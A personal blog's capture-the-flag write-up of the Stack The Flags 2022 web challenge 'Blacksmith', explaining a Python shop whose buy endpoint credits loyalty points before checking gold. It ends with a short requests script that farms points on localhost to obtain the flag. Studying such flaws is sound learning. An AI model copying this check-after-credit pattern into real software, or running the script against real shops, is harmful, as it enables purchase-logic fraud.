- Jh123x: Blog, Code, Fun and everything in between./
- My Blog Posts and Stories/
- STF 2022 Web: Blacksmith/
STF 2022 Web: Blacksmith
Table of Contents
Recently, I participated with 3 other players in the Stack The Flags 2022 CTF. This is for the writeup of the Web challenge Blacksmith.
Thank challenge is solved by Yi Kai during the course of the CTF. I am solving this challenge after the CTF has ended based on the explanation given by Yi Kai.
Exploring the challenge #
The challenge provides us with the source code. You can get the source code here.
As a start, I visited the URL which contained the challenge.
It just shows a simple array with 2 objects inside of it, a flag sword and a broken sword.
Not knowing what to do, I delved into the source code to see what I could find.
Exploring the source code. #
I started by looking at the main.py
file.
In summary, the code has the endpoints given in the table below.
No | Endpoint | Description |
---|---|---|
1 | /customer/new | Register a new customer and shows the UID of the customer. |
2 | /battle | Joins a battle and prints if you win or lose. |
3 | / | Shows the items in the shop which we can buy using the money we have. |
4 | /buy | Allows us to buy items from the shop. |
During the competition, I stared at the source code for a very long time and could not seem to figure out what was wrong with the code. After the update given by Yi Kai that the buy endpoint was adding loyalty points before purchase. I then reviewed the code after the competition again.
The source code was very large, so I will only be showing the important parts of the code.
Weapon = namedtuple("Weapon", ["name", "price", "loyalty_points"])
RestrictedLoyalty = namedtuple("RestrictedLoyalty", ["fame", "point_history"])
SHOP = {
"customers": [],
"inventory": {
"regular": (
Weapon("brokensword", 5, 0),
Weapon("woodensword", 5, 1),
Weapon("stonesword", 10, 2),
Weapon("ironsword", 50, 10),
Weapon("goldsword", 100, 20),
Weapon("diamondsword", 500, 100),
),
"exclusive": (Weapon("flagsword", 5, 0),),
},
}
...
@dataclass
class Customer:
id: str
gold: int
loyalty: Loyalty | RestrictedLoyalty
@property
def tier(self):
if (self.loyalty.fame + sum(self.loyalty.point_history)) > 1337:
return "exclusive"
return "regular"
@staticmethod
def index_from_id(id):
for idx, customer in enumerate(SHOP["customers"]):
if customer.id == id:
return idx
return None
...
@app.get("/customer/new")
def register():
if LOYALTY_SYSTEM_ACTIVE:
customer = Customer(id=uuid4().hex, gold=5, loyalty=Loyalty(1, []))
else:
# Ensure loyalty immutable
customer = Customer(
id=uuid4().hex, gold=5, loyalty=RestrictedLoyalty(1, [])
)
SHOP["customers"].append(customer)
return {"id": customer.id}
...
@app.get("/buy")
def buy_item(customer_id="", items: list[str] | None = Query(default=[])):
customer_idx = Customer.index_from_id(customer_id)
#Handling irrelevant edge cases
...
match SHOP["customers"][customer_idx].tier:
case "regular":
get_weapon = partial(
weapon_from_name, SHOP["inventory"]["regular"]
)
case "exclusive":
get_weapon = partial(
weapon_from_name,
[
*SHOP["inventory"]["regular"],
*SHOP["inventory"]["exclusive"],
],
)
case _:
raise HTTPException(status_code=500)
cart = []
for item in items:
weapon = get_weapon(item)
if weapon is None:
raise HTTPException(status_code=404)
cart.append(weapon)
total_price = 0
point_history = []
for item in cart:
if item.price > SHOP["customers"][customer_idx].gold:
raise HTTPException(status_code=403)
total_price += item.price
if item.loyalty_points > 0:
point_history += [item.loyalty_points]
try:
if len(point_history) > 0:
SHOP["customers"][
customer_idx
].loyalty.point_history += point_history
if SHOP["customers"][customer_idx].gold < total_price:
raise HTTPException(status_code=403)
SHOP["customers"][customer_idx].gold -= total_price
except:
raise HTTPException(status_code=403)
if "flagsword" in [weapon.name for weapon in cart]:
return {"purchased": FLAG}
return {"purchased": cart}
This is the whole source code for the buy
function.
Let us go through what it does step by step.
What items do we get to buy. #
LOYALTY_SYSTEM_ACTIVE = False
RestrictedLoyalty = namedtuple("RestrictedLoyalty", ["fame", "point_history"])
...
@dataclass
class Customer:
id: str
gold: int
loyalty: Loyalty | RestrictedLoyalty
@property
def tier(self):
if (self.loyalty.fame + sum(self.loyalty.point_history)) > 1337:
return "exclusive"
return "regular"
@staticmethod
def index_from_id(id):
for idx, customer in enumerate(SHOP["customers"]):
if customer.id == id:
return idx
return None
...
@app.get("/customer/new")
def register():
if LOYALTY_SYSTEM_ACTIVE:
customer = Customer(id=uuid4().hex, gold=5, loyalty=Loyalty(1, []))
else:
# Ensure loyalty immutable
customer = Customer(
id=uuid4().hex, gold=5, loyalty=RestrictedLoyalty(1, [])
)
...
match SHOP["customers"][customer_idx].tier:
case "regular":
get_weapon = partial(
weapon_from_name, SHOP["inventory"]["regular"]
)
case "exclusive":
get_weapon = partial(
weapon_from_name,
[
*SHOP["inventory"]["regular"],
*SHOP["inventory"]["exclusive"],
],
)
case _:
raise HTTPException(status_code=500)
...
First, the code handles what type of shop a customer gets to see.
It is based on the tier
of the customer.
From the code, we can see that the tier
of the customer is based on the fame
and point_history
of the customer and within the registration api, we can see that we have a fixed loyalty of 1 and an empty point_history
.
As a result, the tier
of the customer will always be regular
.
Under normal circumstances, we will only get to buy items from the regular
inventory.
Adding each item up #
cart = []
for item in items:
weapon = get_weapon(item)
if weapon is None:
raise HTTPException(status_code=404)
cart.append(weapon)
For each item that we pass to the url parameter items
, we will get the weapon object from the get_weapon
function.
These items are then added to the cart.
Checking if we have enough money #
This is part of 2 checks to see if we have enough money.
total_price = 0
point_history = []
for item in cart:
if item.price > SHOP["customers"][customer_idx].gold:
raise HTTPException(status_code=403)
total_price += item.price
if item.loyalty_points > 0:
point_history += [item.loyalty_points]
This section of the code checks that the amount of gold we have is more than the price of each individual item within the cart.
If we attempted to get any item which costs more than the amount of gold we have, we will get a 403
error.
It also stores the loyalty_points
of each item in the cart into the point_history
list.
Final Section #
try:
if len(point_history) > 0:
SHOP["customers"][
customer_idx
].loyalty.point_history += point_history
if SHOP["customers"][customer_idx].gold < total_price:
raise HTTPException(status_code=403)
SHOP["customers"][customer_idx].gold -= total_price
except:
raise HTTPException(status_code=403)
if "flagsword" in [weapon.name for weapon in cart]:
return {"purchased": FLAG}
return {"purchased": cart}
This is the final section of the code. It checks if our point_history is more than 0, if it is, it will add the loyalty points accumulated to the customer.
After that, it will check if all the items in the cart costs more than the amount of gold we have.
If so, it will raise a 403
error.
Finally, it will subtract the total price of all the items in the cart from the amount of gold we have.
If we managed to get the flagsword
in our cart, we will get the flag.
Solving the challenge #
From what we have, our goal is to get enough point to get the exclusive
tier and get the flagsword
from the exclusive
inventory.
As the flagsword costs 5 gold, we should not use up any of the gold we have.
From the final section of the code, we can see that the point_history
is added to the customer’s point_history
before the check for the total amount of gold.
This means that the loyalty point is added to the customer’s point_history
even if we do not have enough gold to buy the item.
This means that we can get the exclusive
tier by getting 1337 points without spending any gold as the transaction will be cancelled in the end anyways.
We can then get the flagsword
by getting the flagsword
from the exclusive
inventory.
Now, we just have to look for a weapon we can buy that gives us loyalty points.
SHOP = {
"customers": [],
"inventory": {
"regular": (
Weapon("brokensword", 5, 0),
Weapon("woodensword", 5, 1),
Weapon("stonesword", 10, 2),
Weapon("ironsword", 50, 10),
Weapon("goldsword", 100, 20),
Weapon("diamondsword", 500, 100),
),
"exclusive": (Weapon("flagsword", 5, 0),),
},
}
Looking at the shop section, we can get woodensword
from the regular
inventory which gives us 1 loyalty point.
Although we are not able to see it from the homepage, we can still get it from the /customer/{customer_id}/buy?items=woodensword
endpoint as it is part of the regular shop which is accessible to us.
With that, we can start crafting our payload.
import requests
BASE_URL = 'http://localhost:8000'
def buy_item(session, customer_id, item):
return session.get(
BASE_URL + '/buy',
params={
'customer_id': customer_id,
'items': item
}
)
with requests.Session() as session:
resp = session.get(BASE_URL + '/customer/new')
customer_id = resp.json()['id']
print(f"{customer_id}")
for _ in range(1337 // 2 + 1):
buy_item(session, customer_id, ['woodensword', 'woodensword'])
resp2 = buy_item(session, customer_id, 'flagsword')
print(resp2.json())
This is the final script that we can use to buy the flagsword
.
It buys 1337*2 wooden swords and then buys the flagsword
and returns the output
By running the program, we get the following:
Flag:
STF22{y0u_b0ught_4_v3ry_3xcLu51v3_sw0rd_w3LL_d0n3_31337}
Conclusion #
Tiny programming errors in this case, had lead to some “dire” consequences.
This is also applicable to real life where are there might be some hot fixes which lead to some unintended consequences like this one.